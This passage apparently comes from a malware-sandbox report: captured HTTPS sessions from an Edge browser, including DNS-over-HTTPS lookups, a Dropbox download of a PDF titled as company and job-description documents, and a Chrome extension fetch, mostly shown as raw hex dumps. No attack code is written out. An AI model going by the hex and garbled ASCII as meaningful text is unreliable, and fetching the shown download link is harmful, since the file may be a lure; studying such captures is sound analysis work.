2024-12-17 11:13:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 29 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49788	162.159.61.3	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:13:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:13:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:13:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367becea284384-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:13:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49790	162.125.69.15	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:29 UTC	888	OUT	GET /cd/0/get/CgZSoca0CIhy-F_xAYR1XBh7zYuyV6wJ0VaZFJiZHwd1PeDCWAeCqt1maYf488EWa-xLnkRmZ4glBXIR8VYXeHERoIa7fAEXRnOt9q5QZYWHtnygLpWLibiOwgGsEjcI8ropDNlribO0ZNyz4TnfYxpp/file?dl=1 HTTP/1.1 Host: uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:13:29 UTC	770	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Documents about company information and job descriptions (2).pdf"; filename*=UTF-8''Documents%20about%20company%20information%20and%20job%20descriptions%20%282%29.pdf Etag: 1733913980334826d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 154 Date: Tue, 17 Dec 2024 11:13:29 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 656088 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 84416e7f442842bba54f7c9cc10ed1ec Connection: close
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 38 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 32 39 33 0a 2f 4e 20 33 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 7d 90 bd 4a c3 00 14 85 bf d4 82 28 8a 83 0e 1d 1c 32 38 b8 68 93 a6 69 52 70 69 22 16 d7 56 a1 a9 53 92 a6 41 ec 4f 48 53 f4 01 74 73 70 75 2b 2e be 80 e8 63 28 08 0e e2 e0 23 88 a0 b3 a4 41 52 90 78 e0 c2 c7 e1 c0 bd f7 40 ae 00 90 97 a0 3f 88 c2 46 dd 10 5b 56 5b 9c 7f 47 40 60 2a db 1d 05 64 4b 80 ef 97 24 fb bc f5 4f 2e 4b 0b 1d 6f e4 02 1f 40 14 b6 ac 36 08 1d 60 cd 4f f8 2c 66 27 e1 cb 98 4f a3 20 02 61 12 73 78 d0 30 41 b8 03 36 fd 19 76 66 d8 0d c2 38 ff 06 ec f4 7b 63 37 bd 9b 25 6f 70 d8 04 5a c0 3a 75 86 0c f1 e9 e1 Data Ascii: %PDF-1.7%18 0 obj<</Length 293/N 3/Filter /FlateDecode>>streamx}J(28hiRpi"VSAOHStspu+.c(#ARx@?F[V[G@`*dK$O.Ko@6`O,f'O asx0A6vf8{c7%opZ:u
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 20 ff cf 1e d8 08 a1 88 e1 a6 3d e3 5d 44 ba 68 6a 46 51 80 b0 c7 11 85 9a 9c 40 89 1c 5c 58 10 05 62 f5 16 44 ed e4 63 09 9f f2 b1 ff ff 01 e1 00 54 8a 6e 10 9a 1a 80 ff 63 1f 2a 68 0d 64 61 84 9d b4 07 91 90 58 fd e7 c5 48 45 14 55 56 46 89 6e 89 0e 14 99 f7 15 7e 1b 0e b4 f2 ec 10 33 11 03 c2 a1 7e 75 e8 ba ff 37 5d 4c 34 88 49 4e 31 cd 36 c5 91 89 9f 10 67 b3 cd 38 3c 94 28 67 a2 2d d7 26 b4 87 31 51 33 51 ff 3e 22 67 c6 d8 fa 06 86 05 62 d8 3f 58 7f f0 6f 29 d8 a0 10 a7 00 82 6c 7e 00 a7 c3 42 f2 3e 20 3f 20 89 a8 ef 0d 86 85 ed 6b 6a 97 e8 31 e8 08 6b c3 21 34 6f 94 64 da 83 f6 bd f3 f6 d6 90 59 ef 2e 9d ef da 2d 27 1d 3c 35 ac 72 cf d5 27 74 37 6f 7a 1e bb c7 5b ef 3b 88 e7 7f 14 4d fd a8 d0 40 cd 52 8f eb cc da 02 aa 4d 57 e3 d4 48 30 af c1 78 08 Data Ascii: =]DhjFQ@\XbDcTnc*hdaXHEUVFn~3~u7]L4IN16g8<(g-&1Q3Q>"gb?Xo)l~B> ? kj1k!4odY.-'<5r't7oz[;M@RMWH0x
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: fb 01 50 e9 9a 72 e3 97 0c 93 97 19 6e 70 d1 4d 63 57 77 39 c7 56 f3 86 4c f8 1b dd 09 3f 90 a0 27 e7 af c6 07 7b 08 86 69 f2 4d 25 e9 3f b8 4b e1 bc 8d 36 c5 df 47 d4 7e b1 2e 21 66 d0 b1 85 5c e4 1f 3f ee d2 7c 71 9c d6 d8 f1 15 eb f9 e6 66 45 3d 92 ee 0e 17 ac bf 34 1f 71 a1 f5 ce cc 2c 2f c3 4b e5 ca f0 53 27 1f 06 aa 92 e6 f2 3a 6d 46 74 fd f6 0a 9a 21 83 48 f2 da 0e 52 7d 43 ce d7 02 c7 5d cd 65 ed df 58 21 24 77 67 4b 8e cd da 87 64 fa c4 5f 4e 56 38 cb 25 f0 29 be 89 f5 75 df f7 c9 55 f6 4b 8d 23 6f 24 b3 6a e5 7f ca e6 26 d6 f1 9e 1b 36 51 92 55 0b 37 94 5c 7a 40 f9 42 fe 95 7b 7a 10 bb df 9d be 27 ce 17 16 18 b5 50 cd 33 4c 11 b8 ac 5a ad 31 f7 f8 6c e5 55 bb 7e 0d ba aa f3 a6 1b ed ea 04 0b 12 cc 8f 5b 67 33 be 1d a3 8c 80 0c c1 76 f4 9f 92 eb Data Ascii: PrnpMcWw9VL?'{iM%?K6G~.!f\?\|qfE=4q,/KS':mFt!HR}C]eX!$wgKd_NV8%)uUK#o$j&6QU7\z@B{z'P3LZ1lU~[g3v
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 79 f7 75 5c 75 9b d4 5c 90 37 42 10 38 8a 5b 7e 8f 56 ee 54 47 fa f6 e4 e5 37 9d 8e bd b6 9b 77 26 28 26 e8 c3 6a 68 c6 d7 6e 53 e8 89 71 57 c6 39 35 fe cf b0 c8 50 4a e6 74 e9 2e 98 ee 35 ae 80 ef 37 4a 2c a2 05 79 8a fc 99 04 c6 23 c2 ef a6 3a 75 f0 3a c1 4c 05 29 e4 ed 5f af 8d 3d 3d 9f 7a bf 96 dd d4 47 87 a8 4e 30 49 75 d0 20 1c b7 27 a2 37 ae cf f1 e0 24 aa 34 5f 47 8e 67 0d e8 de 0c 93 81 77 13 ee f5 52 51 08 22 b3 fe 65 6f b3 03 ce 85 a4 0f fe 83 79 9a 06 46 b8 2e 8a 84 f8 70 af e4 38 8d 64 19 60 c2 4c 38 d5 16 d8 20 ce 53 d1 45 2d a1 e0 1c af 9c 97 0b 2c 64 31 ce 82 da 5c de 1b 4d af e4 6f 25 e9 e6 52 96 15 da 49 51 68 41 36 3a c5 ac cf 33 0e 12 9d 6d 15 94 64 a6 d0 3f 11 15 88 9b 19 c4 20 98 92 d8 95 6f 04 d6 d2 cb f1 9a e8 5f 5f dc e7 dc ea cd Data Ascii: yu\u\7B8[~VTG7w&(&jhnSqW95PJt.57J,y#:u:L)_==zGN0Iu '7$4_GgwRQ"eoyF.p8d`L8 SE-,d1\Mo%RIQhA6:3md? o__
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 07 05 d3 04 be dc fc a7 85 80 05 49 df 00 3f d0 54 8e 84 53 0b 98 dd ff d3 0f 6c 97 d3 97 9b eb 57 41 89 93 40 43 d2 fc 5b 8e 3f 49 12 34 5a b6 06 e6 1b cc e1 f0 7a 9d 41 8f df 3a fd ce 3c 62 fe ec a0 91 a6 d5 6e 09 46 a2 b9 60 fe ef 05 f2 21 91 86 8f a9 7d 30 cd 06 fc 25 dd da 20 a9 80 af fd 4f 01 62 1a 12 74 0f 45 1e a5 3a 60 86 8e b0 77 51 47 5e 25 d2 a7 33 52 c7 2c 43 ca 72 80 e3 0f 75 cf 44 6e 15 f8 50 9f cf 5a 4d 4c 13 7c 8e f3 d2 59 1e 4a d1 92 49 0c fe ca 84 8c e3 17 43 02 16 04 62 be 18 9d 0d 5a 3d ac 85 69 5d 46 56 53 d2 71 ad 9e a6 b3 a5 95 10 63 df b4 ea 3d 24 8a aa 82 85 24 0b 60 04 83 62 43 d5 ad 45 78 46 92 e7 92 b7 49 cc be c7 36 fe 47 b1 9e 31 4a 01 3a 41 82 46 0d d5 d3 19 98 56 32 16 ee 9f 84 3d 1a 22 d0 a5 37 3e 24 ec 4e c9 e9 95 a0 7f Data Ascii: I?TSlWA@C[?I4ZzA:<bnF`!}0% ObtE:`wQG^%3R,CruDnPZML\|YJICbZ=i]FVSqc=$$`bCExFI6G1J:AFV2="7>$N
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 4f 25 e3 d3 eb a4 0d 9f 7a b7 15 c2 07 07 ad 4e 81 14 64 b2 38 ce cf 24 a1 b1 d2 7a ec ce 19 2b 85 73 67 f7 8c 0f 96 3c 36 ac 99 1e de 09 d5 b7 84 28 a5 73 ea f3 94 5d b5 be 3d bd c1 cb c4 f0 17 c6 20 30 79 05 f7 8e 13 52 09 5a 1f a7 a5 12 98 90 5f df 09 82 e0 d1 fe 29 8d 82 f7 3d 52 46 4c bd 75 fa fb b1 f0 da c0 ba 52 50 45 26 e4 d9 0f 15 1e 3d 77 67 cd 2e 31 4b 05 03 26 33 66 10 0c e1 d6 3a 58 c1 e9 be 00 f6 d4 c9 c4 d5 75 9c 1b 8c 1d 37 b6 cc e4 7a 05 19 b0 6a b3 a0 08 ca 80 20 b7 a9 ca 3a 4d 2a 78 57 61 e9 9f 25 45 88 61 26 2a db 3f 7b b3 b3 74 60 92 77 d6 3f 07 b4 b4 a2 52 23 db c3 fd ae bd 3e 53 59 ff 9b 99 22 d6 0c 0a e8 c2 d5 ba a5 0c 16 3a db 8f ce e8 4d a7 58 7a 06 65 a3 56 63 ec e8 5a 39 f2 3e 3a 7f f3 b8 60 25 b3 76 d2 28 3a 12 08 f8 95 22 b7 Data Ascii: O%zNd8$z+sg<6(s]= 0yRZ_)=RFLuRPE&=wg.1K&3f:Xu7zj :MxWa%Ea&?{t`w?R#>SY":MXzeVcZ9>:`%v(:"
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 8f d8 13 a1 12 95 e0 57 32 b8 17 bc 75 cf 82 5b 28 42 fa 52 c5 ac 5b 23 4d d8 cb 31 ce ca 49 a8 f1 ea b5 5b 9e c6 26 72 df 67 e7 5d d6 df 8e de d1 9f b0 a8 4f 2c 9b 1f a2 37 bf e2 64 a3 73 61 47 7d a2 1e 1a 48 dc 22 34 9b cf 45 5e 24 d9 84 e3 ef b5 eb c3 e6 02 af 9a 7b 07 cf 31 5d 6c 4d 20 dc fb c6 87 d6 6b 5a 68 f6 2f cf fb fa 2b fa be a4 23 6f b4 b6 cd a7 7d fb 15 58 bf cb f5 e5 dc 33 3d f1 e4 db 6f e8 d7 5f ee bb 2a 8a c1 ab d1 3a cf 59 ce ff ac 2e ae f7 b4 ce 73 5b f5 3a 30 f2 9c d3 cf 35 fe 1c 57 13 34 4c 15 c3 68 2b 6e e1 6f e1 56 17 0f 86 c4 68 c5 a1 51 9e fb 4d e5 35 ad f8 15 2f 0e 96 92 65 92 eb 8d b2 ec 47 9b 8e 35 84 25 4d 4c 53 52 99 2c 08 d8 e0 31 72 f6 6c a1 75 5e a1 ff ab 87 69 a1 ce 5f eb 35 f7 a4 fc 50 d7 0d fe 86 77 aa 7a 36 f5 51 77 79 Data Ascii: W2u[(BR[#M1I[&rg]O,7dsaG}H"4E^${1]lM kZh/+#o}X3=o_*:Y.s[:05W4Lh+noVhQM5/eG5%MLSR,1rlu^i_5Pwz6Qwy
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: ea 78 00 e3 ab 11 42 b5 cc 67 c8 03 e0 d9 c1 8d 6e 9a c0 18 a7 1e 40 2c 98 58 94 15 21 98 5c 84 61 16 4c 5a 01 4e 60 7c db 38 27 09 a4 41 d4 97 07 40 c7 32 ec 30 80 87 93 31 c8 77 81 f5 ae b3 89 ac 46 52 1d 04 0f 50 86 1e 0c 4e ff b6 55 61 45 e4 ca c1 89 80 67 54 8d a0 6b 7b 81 21 6c cf c8 42 82 5e bd 53 93 85 dc 0b 62 da 91 1d 52 8c 7c 7c 40 1e c4 4d 51 8b bd 59 11 22 33 aa a4 15 32 19 f3 4a bd 70 76 23 f5 5a a7 84 74 69 aa 50 44 07 b4 76 e7 a6 09 aa 12 af 67 ed 9a b6 64 34 f9 9d 39 94 04 33 ea 4a 60 2e b1 91 e5 8c 8a fb 20 7e 78 51 8a 03 8a 29 18 8b 5a e1 24 95 7a e3 de 94 97 96 82 df ee 5a 37 3a 6e 8d ae 1b f5 5f 77 ee cd 66 dc e2 56 7a 5c 37 db 30 e0 56 b6 b9 56 80 36 b4 31 60 ea 86 a8 a0 50 af e2 85 19 41 ce 32 da a7 53 95 7c 52 c9 97 03 2a eb 68 a0 Data Ascii: xBgn@,X!\aLZN`\|8'A@201wFRPNUaEgTk{!lB^SbR\|\|@MQY"32Jpv#ZtiPDvgd493J`. ~xQ)Z$zZ7:n_wfVz\70VV61`PA2S\|R*h
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: 82 ef 79 9b 32 aa d2 30 41 20 90 12 45 c3 87 2a c6 0a a1 44 43 aa f6 56 ba 4c 8d 84 d9 db 12 a7 80 b2 c7 f0 95 cc 1b 8f 35 9d 68 14 4f 5e 58 b4 24 86 88 36 d2 e7 22 05 f2 4b 02 ac 2f 29 72 4a f0 2b 7c 6f 36 0a 75 63 85 f7 41 d2 29 28 6b 02 26 47 27 64 30 55 a8 eb 11 31 a9 89 8c c4 b1 a0 c4 b0 64 ad f2 58 b3 62 3c c6 a9 a0 61 dd 3a cb 1a 57 bd 1b 4e 1c 41 e1 d9 fc 12 d6 6f ed e6 06 3f 4d 18 4f b6 de 05 cd 68 4d c3 d5 54 48 34 87 c0 a0 f0 7f c9 84 f1 67 c3 0f a4 ad 86 88 0c 5c ea 66 3f d2 67 bc f7 7b e2 15 2a 02 e2 29 5a 1d 23 b5 89 a9 99 5c 17 43 91 1a 11 7e bb 30 66 2f 0c 61 0c 21 5a 42 e2 20 f0 42 14 9d b8 26 37 41 a9 23 c0 d5 de d8 ea e3 af 2c 42 14 36 a2 b5 4a 01 82 7e 03 36 64 0a ac 08 40 d0 64 40 3c c6 b0 fd 65 4b 51 13 16 df 63 ce 86 84 0e e8 ac 35 Data Ascii: y20A EDCVL5hO^X$6"K/)rJ+\|o6ucA)(k&G'd0U1dXb<a:WNAo?MOhMTH4g\f?g{)Z#\C~0f/a!ZB B&7A#,B6J~6d@d@<eKQc5
2024-12-17 11:13:30 UTC	16384	IN	Data Raw: cc b2 9c b8 35 30 5e e3 5d da 66 f6 0e 09 73 89 43 c2 d1 f0 62 15 b0 01 c9 eb 77 dd c6 7b 6c ef 06 91 dc 17 ef 43 3a 0b 32 7c 26 36 50 9d 9f a4 d0 7f f1 6d 75 36 c3 f7 50 9d bd 36 41 05 1b 20 33 6c 20 09 60 cf 12 fa 19 49 5f 09 68 2a 28 96 fc 3f f9 7d 56 59 9d 4b 5f ce d7 1d 9f 5f 16 2f 80 23 eb 47 cc 8a f4 f9 07 fc b2 b6 c9 7a 92 c7 f5 b7 4b 19 04 46 b4 3a a7 c0 ca ec 4f d5 73 44 69 57 de ed 44 da 7d 62 69 68 64 6f e2 f1 73 ef 53 40 72 63 ff 56 71 a1 42 97 76 73 9c d8 ed 45 dd cc 12 7f ab 49 ff be fa 81 5f 13 b5 77 a3 d7 af 59 4b b6 18 1a 56 fc 1a a5 f9 db c3 da dd 09 58 f2 21 45 81 5d df ae c3 97 a3 c3 77 73 8a bb 1e 5f 8e be f9 77 46 de a3 ff ba ba f0 31 ae 80 5f ef 5d 45 e9 d9 0c 1c 74 a2 e3 6f 7d fb 14 e8 ab 3f d1 f1 d5 df 23 b1 94 6c b1 93 fe 25 ed Data Ascii: 50^]fsCbw{lC:2\|&6Pmu6P6A 3l `I_h*(?}VYK__/#GzKF:OsDiWD}bihdosS@rcVqBvsEI_wYKVX!E]ws_wF1_]Eto}?#l%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49795	142.250.181.65	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:29 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:13:30 UTC	562	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC4M4UkEmHJyMrDhjMv6enSJIwlb9fiy0LogqcQdAqPcjd7k32BblA4N-V0nB4cagFw X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Mon, 16 Dec 2024 15:58:14 GMT Expires: Tue, 16 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 69316 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-17 11:13:30 UTC	828	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 bb Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 bd Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb 4c Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGWL
2024-12-17 11:13:30 UTC	1390	IN	Data Raw: bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 